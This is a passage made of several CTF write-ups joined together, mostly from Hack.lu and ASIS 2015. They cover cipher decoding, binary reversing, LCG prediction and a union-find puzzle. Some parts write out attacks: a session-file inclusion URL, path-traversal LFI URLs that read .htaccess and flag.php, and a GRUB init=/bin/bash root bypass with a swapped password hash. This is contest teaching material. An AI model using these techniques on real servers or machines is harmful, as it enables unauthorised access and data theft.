https://school.fluxfingers.net:1503/?DOCUMENT_ROOT=/var/sessions&page=179face5a3611e9ee18971df159e9095df52cd2379529017d0d6b40ee6cf&sessid=179face5a3611e9ee18971df159e9095df52cd2379529017d0d6b40ee6cf.sh Hasilnya: ![Final flag](img/11.png) ## Conclusion*Flag*-nya adalah: `flag{as_classic_as_it_could_be}` ## Greets to* Muhammad Abrar Istiadi* Kesatria Garuda team ## Reference* Internal field separator on Wikipedia ([link](https://en.wikipedia.org/wiki/Internal_field_separator))* Bash wildcard: question mark and asterisk ([link](http://linuxg.net/bash-wildcards-question-mark-and-asterisk/))
## Transfer (forensics, 100p, 541 solves) ### PL[ENG](#eng-version) > I was sniffing some web traffic for a while, I think i finally got something interesting. Help me find flag through all these packets. > [net_756d631588cb0a400cc16d1848a5f0fb.pcap](transfer.pcap) Pobrany plik pcap ładujemy do Wiresharka żeby po chwili przeglądania transmisji HTTP (menu File -> Export Objects -> HTTP) znaleźć następujący kod źródłowy programu: ```pythonimport stringimport randomfrom base64 import b64encode, b64decode FLAG = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}' enc_ciphers = ['rot13', 'b64e', 'caesar']# dec_ciphers = ['rot13', 'b64d', 'caesard'] def rot13(s): _rot13 = string.maketrans( "ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz", "NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm") return string.translate(s, _rot13) def b64e(s): return b64encode(s) def caesar(plaintext, shift=3): alphabet = string.ascii_lowercase shifted_alphabet = alphabet[shift:] + alphabet[:shift] table = string.maketrans(alphabet, shifted_alphabet) return plaintext.translate(table) def encode(pt, cnt=50): tmp = '2{}'.format(b64encode(pt)) for cnt in xrange(cnt): c = random.choice(enc_ciphers) i = enc_ciphers.index(c) + 1 _tmp = globals()[c](tmp) tmp = '{}{}'.format(i, _tmp) return tmp if __name__ == '__main__': print encode(FLAG, cnt=?)``` W tej samej transmisji (opcja Follow TCP Stream) była również zakodowana wiadomość. Po odwróceniu wszystkich algorytmów otrzymujemy taki program dekodujący: ```pythonimport stringimport randomfrom base64 import b64encode, b64decode FLAG = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}' #enc_ciphers = ['rot13', 'b64e', 'caesar']dec_ciphers = ['rot13', 'b64d', 'caesard'] def rot13(s): _rot13 = string.maketrans( "ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz", "NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm") return string.translate(s, _rot13) def b64d(s): return b64decode(s) def caesard(plaintext, shift=-3): alphabet = string.ascii_lowercase shifted_alphabet = alphabet[shift:] + alphabet[:shift] table = string.maketrans(alphabet, shifted_alphabet) return plaintext.translate(table) def encode(pt, cnt=50): tmp = '2{}'.format(b64encode(pt)) for cnt in xrange(cnt): c = random.choice(enc_ciphers) i = enc_ciphers.index(c) + 1 _tmp = globals()[c](tmp) tmp = '{}{}'.format(i, _tmp) return tmp def decode(pt, cnt=61): for i in xrange(cnt): c = pt[0] if c == '1': pt = rot13(pt[1:]) if c == '2': pt = b64d(pt[1:]) if c == '3': pt = caesard(pt[1:]) print pt if __name__ == '__main__': x = '2Mk16Sk5iakYxVFZoS1RsWnZXbFZaYjFaa1prWmFkMDVWVGs1U2IyODFXa1ZuTUZadU1YVldiVkphVFVaS1dGWXlkbUZXTVdkMVprWnJWMlZHYzFsWGJscHVVekpOWVZaeFZsUmxWMnR5VkZabU5HaFdaM1pYY0hkdVRXOWFSMVJXYTA5V1YwcElhRVpTVm1WSGExUldWbHBrWm05dk5sSnZVbXhTVm5OWVZtNW1NV1l4V1dGVWJscFVaWEJoVjFsdVdtUm5iMUpYVjNGS2IxWlViMWhXVnpFd1YwWktkbVpGWVZkbFIxRXdWa1JHVDJZeFRuWlhjRzlUWlZkclkxWlhZVk5TYmpGSFZsaHJaRkpVYjFOWmJsVXhWakZTVjFkd09WaFNNRlkyVmxjMVIxWldXa1pUY0d0WFpVWnpZbHBYWVhwVFYwWkhWM0JyVG1Wd2EydFdjSE5MVFVkSllsWnVaMWRsYm5OWldWUk9VMlV4VWxkWGJuZFVWbTl6V0Zad2QyNWtWbHAxVGxabldsWldWV0ZXYmxwTFZqRk9kV1pHYTJ0a01YTlpWbGN4WTJoR1NsZGxNM05yVW00MVdGbFVUa05OVmxwWVprVk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MU5UUm5ORlVuQkdWMlZGYzFwWk1GcFhWakZLVmxkWWMxZFNjRkY2Vm0xR1QyWXhXbGxrUjBaVVVqRktWbFp3YzBKTlZrNUhWMjVuV0dWRmMzWlZiMUpYVWpGU1ZtUklUbFpsUm5OSFZUSjNORmxXV25abVIydGFUWEZyVEZZeFowdFRSMDVIV2tVMVUxSldjMWRXYjJjMFdWWlJZV1ZHWjFWWFIyRldXVzlyVTFaR1duWmtSVXB2VW05Wk1sVlhOVXRrTURGMlYyOXJWMDF0Vm1OV2JsVmhVbTluZFZSdlowNWxiMFl6VjFabk5GVndVV0ZYY1VaWVpVaENUMWxVVGtOVGIxcFpaa1U1YlUxV2J6UldWMkZ1VlRKS1IxTnZaMXBXUlZvelZtNWFVMVp2Vm5WVWIxSlRaVVp6V1ZadVdsTlRNa1oyVTI5cmExSlViMWhaYjJ0VFpFWlZZVmR2VGxkTlZuTmlWMjVhYmxZeFdraGFNM05YVmpOQ1JGbGpSbTVTTWs1SlZIQnZUazF2U21GV1YzTlBVVEF3WVZkdlZsSmtNbEoxVm5CMk1WWXhibnBWYm1kc1VtNXpXRll5ZDNaV01VcEdaa2RyVmsxR1ZqUlZNV2RMVTBkS1NHVkZOVmRXUmxWNlZuQnpRMlJ1TVZkVVdHOVRWMGRTV1ZsWWMwZFdWbHAyV2tSU2JWSnZWalZhUldZMVZrZEtSMlZFVGxwa01tdFVWbTVhWkdadU5WWmtSbWRzVWpGS1RWZHVWbVJWTVVwM1UyNW5WV1ZYYTNKVVZWSlhVakZhVmxkdlNtNU5WVXBUVlVaUmVsQlJQVDA9' decode(x)``` Odkodowana wiadomość i flaga to: `flag{li0ns_and_tig3rs_4nd_b34rs_0h_mi}`. ### ENG version > I was sniffing some web traffic for a while, I think i finally got something interesting. Help me find flag through all these packets. > [net_756d631588cb0a400cc16d1848a5f0fb.pcap](transfer.pcap) We load the downloaded file to Wireshark and after looking for a while on HTTP transmissions (menu File -> Export Objects -> HTTP) we find a source code: ```pythonimport stringimport randomfrom base64 import b64encode, b64decode FLAG = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}' enc_ciphers = ['rot13', 'b64e', 'caesar']# dec_ciphers = ['rot13', 'b64d', 'caesard'] def rot13(s): _rot13 = string.maketrans( "ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz", "NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm") return string.translate(s, _rot13) def b64e(s): return b64encode(s) def caesar(plaintext, shift=3): alphabet = string.ascii_lowercase shifted_alphabet = alphabet[shift:] + alphabet[:shift] table = string.maketrans(alphabet, shifted_alphabet) return plaintext.translate(table) def encode(pt, cnt=50): tmp = '2{}'.format(b64encode(pt)) for cnt in xrange(cnt): c = random.choice(enc_ciphers) i = enc_ciphers.index(c) + 1 _tmp = globals()[c](tmp) tmp = '{}{}'.format(i, _tmp) return tmp if __name__ == '__main__': print encode(FLAG, cnt=?)``` In the same transmission (Follow TCP Stream option) there was also an encoded message. After reversing all the algorithms we get a decoding software: ```pythonimport stringimport randomfrom base64 import b64encode, b64decode FLAG = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}' #enc_ciphers = ['rot13', 'b64e', 'caesar']dec_ciphers = ['rot13', 'b64d', 'caesard'] def rot13(s): _rot13 = string.maketrans( "ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz", "NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm") return string.translate(s, _rot13) def b64d(s): return b64decode(s) def caesard(plaintext, shift=-3): alphabet = string.ascii_lowercase shifted_alphabet = alphabet[shift:] + alphabet[:shift] table = string.maketrans(alphabet, shifted_alphabet) return plaintext.translate(table) def encode(pt, cnt=50): tmp = '2{}'.format(b64encode(pt)) for cnt in xrange(cnt): c = random.choice(enc_ciphers) i = enc_ciphers.index(c) + 1 _tmp = globals()[c](tmp) tmp = '{}{}'.format(i, _tmp) return tmp def decode(pt, cnt=61): for i in xrange(cnt): c = pt[0] if c == '1': pt = rot13(pt[1:]) if c == '2': pt = b64d(pt[1:]) if c == '3': pt = caesard(pt[1:]) print pt if __name__ == '__main__': x = '2Mk16Sk5iakYxVFZoS1RsWnZXbFZaYjFaa1prWmFkMDVWVGs1U2IyODFXa1ZuTUZadU1YVldiVkphVFVaS1dGWXlkbUZXTVdkMVprWnJWMlZHYzFsWGJscHVVekpOWVZaeFZsUmxWMnR5VkZabU5HaFdaM1pYY0hkdVRXOWFSMVJXYTA5V1YwcElhRVpTVm1WSGExUldWbHBrWm05dk5sSnZVbXhTVm5OWVZtNW1NV1l4V1dGVWJscFVaWEJoVjFsdVdtUm5iMUpYVjNGS2IxWlViMWhXVnpFd1YwWktkbVpGWVZkbFIxRXdWa1JHVDJZeFRuWlhjRzlUWlZkclkxWlhZVk5TYmpGSFZsaHJaRkpVYjFOWmJsVXhWakZTVjFkd09WaFNNRlkyVmxjMVIxWldXa1pUY0d0WFpVWnpZbHBYWVhwVFYwWkhWM0JyVG1Wd2EydFdjSE5MVFVkSllsWnVaMWRsYm5OWldWUk9VMlV4VWxkWGJuZFVWbTl6V0Zad2QyNWtWbHAxVGxabldsWldWV0ZXYmxwTFZqRk9kV1pHYTJ0a01YTlpWbGN4WTJoR1NsZGxNM05yVW00MVdGbFVUa05OVmxwWVprVk9iV1ZXUmpWV2NIZHlaRzlLV0doRk9WVldjRkpVVm5CaFZtaEdaM1ZuUm1kVFpHTldXRlp3TVhwVk1XZDNVMjl2Vm1ReVVsWldiMmRUVlVaV2RGSndkMjFsU0VKSFZHOWFibFV4V25oUmJqRlhWak5yV0ZSdVdsTldNVko0Vm05T2EwMXdhMVpXY0dGdVpURlJZVmR4VWs5V1ZUVllWWEIzWkZkR2JucFdjSGRYWlZWYVlsWXlkalZXY0VwSFYzRmFWV1ZHY3pOWk1tRlhabkJLU0dSRk5WZE5WWE5JVm05U1IxWXlUblZOVm1kVVpXNWFWVmxVUm1SVU1WbDZWbkZh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OVGIxcFpaa1U1YlUxV2J6UldWMkZ1VlRKS1IxTnZaMXBXUlZvelZtNWFVMVp2Vm5WVWIxSlRaVVp6V1ZadVdsTlRNa1oyVTI5cmExSlViMWhaYjJ0VFpFWlZZVmR2VGxkTlZuTmlWMjVhYmxZeFdraGFNM05YVmpOQ1JGbGpSbTVTTWs1SlZIQnZUazF2U21GV1YzTlBVVEF3WVZkdlZsSmtNbEoxVm5CMk1WWXhibnBWYm1kc1VtNXpXRll5ZDNaV01VcEdaa2RyVmsxR1ZqUlZNV2RMVTBkS1NHVkZOVmRXUmxWNlZuQnpRMlJ1TVZkVVdHOVRWMGRTV1ZsWWMwZFdWbHAyV2tSU2JWSnZWalZhUldZMVZrZEtSMlZFVGxwa01tdFVWbTVhWkdadU5WWmtSbWRzVWpGS1RWZHVWbVJWTVVwM1UyNW5WV1ZYYTNKVVZWSlhVakZhVmxkdlNtNU5WVXBUVlVaUmVsQlJQVDA9' decode(x)``` Decoded message and the flag is: `flag{li0ns_and_tig3rs_4nd_b34rs_0h_mi}`.
Hacklu 2015 CTF - Dr. Bob## Details | Contest | Challenge | Category | Points || :------- | :-------- | :------- | :----- || Hacklu | Dr. Bob | forensics| 150 | *Description*>There are elections at the moment for the representative of the students and the winner will be announced tomorrow by the head of elections Dr. Bob. The local schoolyard gang is gambling on the winner and you could really use that extra cash. Luckily, you are able to hack into the mainframe of the school and get a copy of the virtual machine that is used by Dr. Bob to store the results. The desired information is in the file /home/bob/flag.txt, easy as that. [source link 1](https://school.fluxfingers.net/static/chals/dr_bob_e22538fa166acecc68fa17ac148dcbe2.tar.gz) [source link 2(mirror)](https://mega.nz/#!qoUDxYrB!W-C6vZxiulkaZ9ONWbyohCpAOfRbLtvHIgIICvjeZWk) ---- ### Write-up We have a virtual machine with a saved state.After resetting the password from the root.> 1) Loading to GRUB > 2) press 'e' for edit boot options > 3) add to end of string ```init=/bin/bash``` > 4) ctrl+x > 5) passwd We find that there are two partitions, one of which is encrypted. ![lsblk](img/lsblk.png) So you need to reset the password without rebooting the machine. Restoring machine. Opened in hex editor Safe.vdi and replaced all password hash of root user. For example: ```root:$6$/QrtDuz4$3mMh7Wa31i7XAZ8mEoseUDV.Od3YPELXPgGwD37zEjMwFYObwcXw1LExdvS/LBSTKOtzpU0R/eVtDZWv4PA1g1:16729:0:99999:7:::``` password:1337 Start the machine, I successfully completed login. Try cat /home/bob/flag.txt ![cat](img/cat.png) Try nano /home/bob/flag.txt ![nano](img/nano.png) successfully --- Flag:flag{v0t3_f0r_p3dr0}
# ASIS CTF Quals 2015: tera ----------## Challenge details| Contest | Challenge | Category | Points ||:---------------|:--------------|:----------|-------:|| ASIS CTF Quals 2015 | tera | Reversing | 100 | **Description:**>*Be patient and find the flag in this [file](challenge/tera).* ----------## Write-up Let's take a look at the binary: >```bash>file tera>tera; ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, stripped>``` And get a pseudocode decompilation of its main routine (with some variables renamed for clarity): >```c>__int64 __usercall mainroutine@<rax>(unsigned int a1@<ebx>)>{> signed __int64 v1; // rsi@1> __int64 *v2; // rdi@1> signed __int64 i; // rcx@1> signed __int64 v4; // rcx@4> char *v5; // rdi@4> signed __int64 v6; // rsi@4> signed __int64 v7; // rcx@10> char *v8; // rdi@10> void *v9; // rax@16> signed __int64 v10; // rsi@17> int *v11; // rdi@17> signed __int64 l; // rcx@17> signed int v13; // eax@21> void *v14; // rsp@22> size_t v16; // [sp+0h] [bp-2350h]@22> __int64 v17; // [sp+8h] [bp-2348h]@22> int key_table[40]; // [sp+10h] [bp-2340h]@17> char filename[10]; // [sp+B0h] [bp-22A0h]@14> char v20; // [sp+BAh] [bp-2296h]@16> char v21; // [sp+10B0h] [bp-12A0h]@10> char v22; // [sp+10B1h] [bp-129Fh]@13> char v23; // [sp+10B3h] [bp-129Dh]@13> char v24; // [sp+10B5h] [bp-129Bh]@13> char v25; // [sp+10B7h] [bp-1299h]@13> char v26; // [sp+10B9h] [bp-1297h]@13> char v27; // [sp+10BBh] [bp-1295h]@13> char v28; // [sp+10BDh] [bp-1293h]@13> char v29; // [sp+10BFh] [bp-1291h]@13> char v30; // [sp+10C1h] [bp-128Fh]@13> char v31; // [sp+10C3h] [bp-128Dh]@13> char v32; // [sp+10C5h] [bp-128Bh]@13> char v33[80]; // [sp+20B0h] [bp-2A0h]@8> char v34[144]; // [sp+2100h] [bp-250h]@4> __int64 index_table[39]; // [sp+2190h] [bp-1C0h]@1> pthread_t newthread; // [sp+22C8h] [bp-88h]@20> void *buffer; // [sp+22D0h] [bp-80h]@22> size_t v38; // [sp+22D8h] [bp-78h]@22> FILE *v39; // [sp+22E0h] [bp-70h]@22> int v40; // [sp+22ECh] [bp-64h]@22> int v41; // [sp+22F0h] [bp-60h]@22> int v42; // [sp+22F4h] [bp-5Ch]@22> int v43; // [sp+22F8h] [bp-58h]@22> int v44; // [sp+22FCh] [bp-54h]@20> FILE *stream; // [sp+2300h] [bp-50h]@20> void *arg; // [sp+2308h] [bp-48h]@16> int v47; // [sp+2314h] [bp-3Ch]@4> size_t n; // [sp+2318h] [bp-38h]@1> __int64 m; // [sp+2320h] [bp-30h]@22> int k; // [sp+2328h] [bp-28h]@13> int j; // [sp+232Ch] [bp-24h]@7>> n = 0x1F40001809E0LL;> v1 = 0x401480LL;> v2 = index_table;> for ( i = 38LL; i; --i )> {> *v2 = *(_QWORD *)v1;> v1 += 8LL;> ++v2;> }> v47 = 38;> v4 = 16LL;> v5 = v34;> v6 = 4199872LL;> while ( v4 )> {> *(_QWORD *)v5 = *(_QWORD *)v6;> v6 += 8LL;> v5 += 8;> --v4;> }> *(_WORD *)v5 = *(_WORD *)v6;> v5[2] = *(_BYTE *)(v6 + 2);> setbuf(stdout, 0LL);> for ( j = 0; j <= 64; ++j )> v33[j] = v34[2 * j];> v7 = 512LL;> v8 = &v2;;> while ( v7 )> {> *(_QWORD *)v8 = 0LL;> v8 += 8;> --v7;> }> v22 = 47;> v23 = 116;> v24 = 109;> v25 = 112;> v26 = 47;> v27 = 46;> v28 = 116;> v29 = 101;> v30 = 114;> v31 = 97;> v32 = 10;> for ( k = 0; k <= 9; ++k )> filename[k] = *(&v21 + 2 * k + 1);> v20 = 0;> LODWORD(v9) = curl_easy_init(v8, 0LL);> arg = v9;> if ( !v9 )> {> puts("Please check your connection :)");>LABEL_29:> return 0;> }> puts("Please wait until my job be done ");> v10 = 4200064LL;> v11 = key_table;> for ( l = 19LL; l; --l )> {> *(_QWORD *)v11 = *(_QWORD *)v10;> v10 += 8LL;> v11 += 2;> }> stream = fopen(filename, "wb");> v44 = pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, arg);> if ( v44 )> {> fprintf(_bss_start, "Error - pthread_create() return code: %d\n", (unsigned int)v44);> a1 = 0;> v13 = 0;> }> else> {> v43 = 10002;> curl_easy_setopt(arg, 10002LL, v33);> v42 = 20011;> curl_easy_setopt(arg, 20011LL, 4197590LL);> v41 = 10001;> curl_easy_setopt(arg, 10001LL, stream);> v40 = curl_easy_perform(arg);> curl_easy_cleanup(arg);> fclose(stream);> v39 = fopen(filename, "r");> v38 = n - 1;> v16 = n;> v17 = 0LL;> v14 = alloca(16 * ((n + 15) / 0x10));> buffer = &v1;;> fread(&v16, 1uLL, n, v39);> for ( m = 0LL; v47 > m; ++m )> printf("%c\n", (unsigned int)(char)(*((_BYTE *)buffer + index_table[m]) ^ LOBYTE(key_table[m])));> fclose(v39);> v13 = 1;> }> if ( v13 == 1 )> goto LABEL_29;> return a1;>}>``` Ok so it looks like the binary uses curl to download some file, read its contents to a buffer and xor certain elements of that buffer with bytes from a key table. It's not clear from the pseudocode but in the disassembly we can see what file it tries to download: >```asm>.text:0000000000400F53 mov [rbp+var_3C], 26h>.text:0000000000400F5A lea rax, [rbp+var_250]>.text:0000000000400F61 mov edx, offset aHttpDarksky_sl ; "http://darksky.slac.stanford.edu/simula"...>.text:0000000000400F66 mov ecx, 10h>.text:0000000000400F6B mov rdi, rax>.text:0000000000400F6E mov rsi, rdx>``` The URL is in unicode: >```asm>.rodata:00000000004015C0 aHttpDarksky_sl: ; DATA XREF: mainroutine+48?o>.rodata:00000000004015C0 unicode 0, <http://darksky.slac.stanford.edu/simulations/ds14_a/ds14_>>.rodata:00000000004015C0 unicode 0, <a_1.0000>>.rodata:00000000004015C0 dw 0Ah, 0>.rodata:0000000000401646 align 40h>``` If we look at the directory of the file in question, however, we can see that it is roughly 31TB: >*ds14_a_1.0000 19-Apr-2014 16:47 31T* Since we have neither the time nor the disk space to download it in full we will use the fact that we can specify [content ranges](http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html) in our HTTP header to only fetch a single byte at the offsets we require. So all we need to emulate the functionality of the binary without downloading the file are the index and key tables which get initialized from the addresses v1 = 0x401480 and v10 = 0x401680 respectively so we can simply extract them from the binary using IDA's built-in hex viewer and produce the [following decoder](solution/tera_decoder.py): >```python>#!/usr/bin/python>#># ASIS CTF Quals 2015># tera (REVERSING/100)>#># @a: Smoke Leet Everyday># @u: https://github.com/smokeleeteveryday>#>>from struct import unpack>import urllib2>># Fetch single byte from URL using content range>def get_buffer_byte(url, offset):> req = urllib2.Request(url)> req.headers['Range'] = 'bytes=%s-%s' % (offset, offset)> f = urllib2.urlopen(req)> return f.read()>># Decryption functionality>def decrypt(url, index_table, key_table):> plaintext = ""> for m in xrange(0, 38):> i = unpack('<Q', index_table[m*8: (m+1)*8])[0]> b = get_buffer_byte(url, i)> k = unpack('<I', key_table[m*4: (m+1)*4])[0]> plaintext += chr(ord(b) ^ k)> return plaintext>># Target URL>url = "http://darksky.slac.stanford.edu/simulations/ds14_a/ds14_a_1.0000">># Key and indexing tables>key_table = "\xF2\x00\x00\x00\x9A\x00\x00\x00\x83\x00\x00\x00\x12\x00\x00\x00\x39\x00\x00\x00\x45\x00\x00\x00\xE7\x00\x00\x00\xF4\x00\x00\x00\x6F\x00\x00\x00\xA1\x00\x00\x00\x06\x00\x00\x00\xE7\x00\x00\x00\x95\x00\x00\x00\xF3\x00\x00\x00\x90\x00\x00\x00\xF2\x00\x00\x00\xF0\x00\x00\x00\x6B\x00\x00\x00\x33\x00\x00\x00\xE3\x00\x00\x00\xA8\x00\x00\x00\x78\x00\x00\x00\x37\x00\x00\x00\xD5\x00\x00\x00\x44\x00\x00\x00\x39\x00\x00\x00\x61\x00\x00\x00\x8A\x00\x00\x00\xFB\x00\x00\x00\x22\x00\x00\x00\xFA\x00\x00\x00\x9E\x00\x00\x00\xE7\x00\x00\x00\x11\x00\x00\x00\x39\x00\x00\x00\xA6\x00\x00\x00\xF3\x00\x00\x00\x33\x00\x00\x00\x00\x00\x00\x00\x00\x00\x59\x40">index_table = "\xF4\x7C\x61\x89\x4C\x00\x00\x00\x83\x5F\xE9\xB5\xB4\x00\x00\x00\x6B\x68\x8D\x59\xE4\x00\x00\x00\xEF\x74\x26\xA6\x36\x01\x00\x00\xB7\xBE\x65\x7A\x83\x01\x00\x00\x7C\x46\x31\xA8\x9F\x01\x00\x00\x01\xCD\x2A\x20\xA6\x02\x00\x00\x5E\x64\x10\x3F\x49\x04\x00\x00\xE4\x65\x6D\xCE\xCD\x04\x00\x00\x7E\xDE\xC8\x8E\x02\x05\x00\x00\x56\x4A\x50\x19\x62\x05\x00\x00\xB8\x1D\x19\x2D\xBD\x05\x00\x00\x92\x25\xD0\xD5\x2B\x07\x00\x00\xFE\x04\x6D\xEE\x3D\x07\x00\x00\x20\xE3\xAF\xE5\x25\x0A\x00\x00\x9E\xFB\x64\xB4\x73\x0A\x00\x00\x4B\xE3\xF6\x59\x62\x0B\x00\x00\xDC\x94\x50\xA4\x9A\x0B\x00\x00\x39\xEA\xE0\x48\xC5\x0B\x00\x00\x56\xCC\x1E\xC4\x7A\x0C\x00\x00\x8B\xFB\x73\xF0\x85\x0C\x00\x00\x16\x91\x6A\x53\x92\x0C\x00\x00\xBF\xDA\xE6\x0B\x93\x0D\x00\x00\x40\xDA\x89\xB9\x61\x0E\x00\x00\x68\xA2\x9C\x99\x37\x0F\x00\x00\x1F\x9D\x9B\xC5\xB7\x0F\x00\x00\x9D\x93\xA3\xD3\x18\x10\x00\x00\x69\x03\xED\x2A\x20\x10\x00\x00\xF3\x6C\x92\xFB\xE8\x10\x00\x00\x65\xA0\x8E\xC3\x3B\x11\x00\x00\x4F\x04\x04\x75\x25\x13\x00\x00\x3C\xDC\x12\x06\xFB\x14\x00\x00\x92\xDA\x70\x23\x57\x16\x00\x00\x41\x44\x63\x75\x3D\x17\x00\x00\x74\x93\x2D\x0F\x9D\x1B\x00\x00\x8E\x2D\xE4\x0D\xA9\x1B\x00\x00\x3E\x8F\x4C\xEF\xE9\x1B\x00\x00\x00\x4E\xB8\xA4\xFD\x1B\x00\x00">>print "[+]Got flag: [%s]" % decrypt(url, index_table, key_table)>``` Which produces the following output: >```bash>$ ./tera_decoder.py>[+]Got flag: [ASIS{3149ad5d3629581b17279cc889222b93}]>```
[](ctf=hack.lu-2015)[](type=coding)[](tags=random) # GuessTheNumber (coding-150) ```The teacher of your programming class gave you a tiny little task: just write a guess-my-number script that beats his script. He also gave you some hard facts:he uses some LCG with standard glibc LCG parametersthe LCG is seeded with server time using number format YmdHMS (python strftime syntax)numbers are from 0 up to (including) 99numbers should be sent as ascii stringYou can find the service on school.fluxfingers.net:1523``` ```bash$ nc school.fluxfingers.net 1523Welcome to the awesome guess-my-number game!It's 22.10.2015 today and we have 13:01:49 on the server right now. Today's goal is easy: just guess my 100 numbers on the first try within at least 30 seconds from now on.Ain't difficult, right?Now, try the first one:99Wrong! You lost the game. The right answer would have been '61'. Quitting.```So here we have a random number generator and we have to guess 100 numbers on the server.Searching about LCG we land on [this](http://rosettacode.org/wiki/Linear_congruential_generator#C) page.The seed is given by the server in the message.It is the standard rand_r function in glibc with same parameters. Also all numbers are less than 100 so we need a mod 100 for each number. ```cint main(int argc, char **argv){ rseed = atoi(argv[1]); int i; for (i = 0; i <100; i++) printf("%d ", rand()%100); return 0;}```By a little hit and trial we find that the server generates 100 numbers using the above algorithm and checks in reverse order.So [here](guess.py) is a quick dirty client to handle the same. ```pythonfrom pwn import *import subprocesss=remote('school.fluxfingers.net',1523)a=s.recv(1000,timeout=1)print aall=re.search('have .* on',a).group()[5:13].split(':')seed=20151021000000seed+=int(all[0])*10000seed+=int(all[1])*100seed+=int(all[2])res=subprocess.check_output(["./lol", str(seed)]).split()[::-1]print res,"len",len(res)for i in res: print i, s.send(str(i)) a=s.recv(100) print a``` Flag >flag{don't_use_LCGs_for_any_guessing_competition}
# Hack.lu CTF 2015 - Module Loader (Web, 100pts) ## Problem 100 Points by lucebac (Web) Since his students never know what date it is and how much time they have until the next homework's deadline, Mr P. H. Porter wrote a little webapp for that. ## Solution We get simple web application with two available options: ![Welcome screen](https://github.com/bl4de/ctf/blob/master/2015/HACK.LU_CTF_2015/Module_Loader_web100/Module_Loader1.png) After quick research there's an obvious LFI (Local File Include) ![LFI](https://github.com/bl4de/ctf/blob/master/2015/HACK.LU_CTF_2015/Module_Loader_web100/Module_Loader2.png) We can include any file using url: ```school.fluxfingers.net:1522/?module=../modules/timer``` And here's source code of _timer_ module - it's just printed out, PHP code is not executed here: ```php <div id="clock"></div> <script>var clock = document.getElementById("clock");var now = new Date();clock.innerHTML = countdown(new Date(, , )).toString();setInterval(function(){clock.innerHTML = countdown(new Date(, , )).toString();}, 1000);</script> ``` Also, we can display _.htaccess_, which contains some directory with quite "obvious" name :P ``` ``` Let's take a look there and here we go: ![3cdcf3c63dc02f8e5c230943d9f1f4d75a4d88ae content](https://github.com/bl4de/ctf/blob/master/2015/HACK.LU_CTF_2015/Module_Loader_web100/Module_Loader3.png) Last thing is to use LFI and see, what's in flag.php file: ![Flag](https://github.com/bl4de/ctf/blob/master/2015/HACK.LU_CTF_2015/Module_Loader_web100/Module_Loader4.png) school.fluxfingers.net:1522/?module=../3cdcf3c63dc02f8e5c230943d9f1f4d75a4d88ae/flag.php
## npc - Reversing 400 Problem - Writeup by Robert Xiao (@nneonneo) ### Description > NPC says "I am NPC."> > npc-4bc7ebfe94c8fdc93832bc0e7af1279b ### Hint > Check the black/white connected components in 2D grid of cells. ### Reversing The binary has a long `main` function which appears to be optimized and inlined C++. I used the Hex-Rays decompiler in IDA Pro to decompile it. There are several stages in the function. #### Length check The binary calls `sub_402980` to check the validity of the input length. This function does a bunch of somewhat nasty math which I don't want to reverse. Instead, I take advantage of the fact that the function only proceeds to `memset` if the length check succeeds: for ((i=1; i<100; i++)); do echo $i; ltrace -ff ./npc $(python -c "print 'hitcon{' + 'A'*$i + '}'") 2>&1 | grep memset; done This shows that `memset` is only called on an input length of 80. #### Input conversion At 0x400c2a, the binary then sets up some kind of table of size 127, inserting 0x20 values into the table at specific indices. It then runs through the input byte-by-byte, indexing into this table using the ASCII value of each input byte. I dumped the table using GDB, and picked a byte corresponding to a valid value ('A'). Using [qira](https://github.com/BinaryAnalysisPlatform/qira) we can watch this function fill a buffer bit-by-bit. The buffer is filled with 50 bytes of binary data from our 80-byte input, so we guess that each input character is converted into 5 output bits in a base32-like fashion. #### String unpacking Next, at 0x400ef5, the binary fills out some kind of array (a C++ vector) using a C++ string (which is initialized from the init function 0x401e60). Again, from laziness, we can just ask GDB to tell us what the vector contains after the function finishes. The vector contains 400 integers. Most are zero, with a few nonzeros between 1 and 8. We call this vector the "map". #### First loop At 0x40104a, the binary calls `sub_402490` which sets up two more C++ vectors: one containing the integers 0 to 400, and the other containing 400 1s. It then goes into a triple loop at 0x401139 which has two nested loop variables going from 0-19. It now becomes clear that the program is operating on a 20x20 grid, and the bitwise operations on the buffer make it clear that the 50-byte input is interpreted as a 20x20 grid of bits. I call the two loop variables `r` and `c` (row and column). The innermost loop is looping over the pairs in the array `{{1,0}, {0,1}}` which are clearly displacements `(dr, dc)` in the row and column axes respectively. In the innermost loop, the function checks to see if `bit[r,c] == bit[r+dr, c+dc]`. If they are equal, a pair of long `if` chains follows; each chain ends in a block that calls `sub_401FD0`. On first blush, this function looks complicated since it does a bunch of array lookups and recurses, but I realized it was just recursively inlined. The original function definition resembles the following: int f(int **vec, int v) { int *x = &vec[0][v]; if(v != *x) { *x = f(vec, *x); } return *x; } The hint says that we are "checking black/white connected components in 2D grid of cells". Assuming the input represents a 20x20 grid of "black/white" cells, it is now clear that the triple loop is basically gathering the connected components of the input (connected horizontally or vertically), with the `sub_401FD0` function implementing the famous *union-find* algorithm used to group components together. #### Second loop In the second set of nested loops, the function checks each number in the map. If the number is nonzero, the function checks if the connected component in the input is black (0) and if it has size equal to the map's number. Thus, the map basically describes the size of the black regions of the input. #### Third loop For each nonzero element in the map, this loop inserts the ID of the corresponding black region into a `std::set`. If the region is already inserted, this loop fails, so each black region must correspond to only one nonzero map element. #### Fourth loop For each black region in the map, this loop checks to see if the ID is in the set, and fails if it is not. This enforces that each nonzero map element corresponds to exactly one black region, and vice-versa. #### Fifth loop This loop iterates over all the white squares and checks to see whether they are all in the same connected component. In other words, all white squares must be connected. #### Sixth loop This last loop rejects the input if there are four 